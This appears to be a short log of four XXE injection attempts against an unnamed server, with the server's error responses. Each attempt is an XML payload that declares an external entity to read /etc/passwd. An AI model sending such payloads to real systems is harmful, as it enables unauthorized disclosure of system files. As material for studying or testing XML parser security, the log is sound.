Try 1: generates internal server error:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<book>
   <author>&xxe;</author>
   <subject>mypass</subject>
   <content>blah</content>
</book>

try2: error returned saying connection was reset:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
   <author>&xxe;</author>
   <subject>mypass</subject>
   <content>blah</content>
</foo>

try3: generates internal server error:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [
  <!ELEMENT book (author,subject,content)>
  <!ELEMENT author (#PCDATA)>
  <!ELEMENT subject (#PCDATA)>
  <!ELEMENT content (#PCDATA)>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<book>
   <author>&xxe;</author>
   <subject>xml</subject>
   <content>exploit</content>
</book>

try4: generates a page was reset
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ELEMENT author ANY>
  <!ELEMENT subject ANY>
  <!ELEMENT content ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passed">
]>
<foo>
   <author>&xxe;</author>
   <subject>mypass</subject>
   <content>blah</content>
</foo>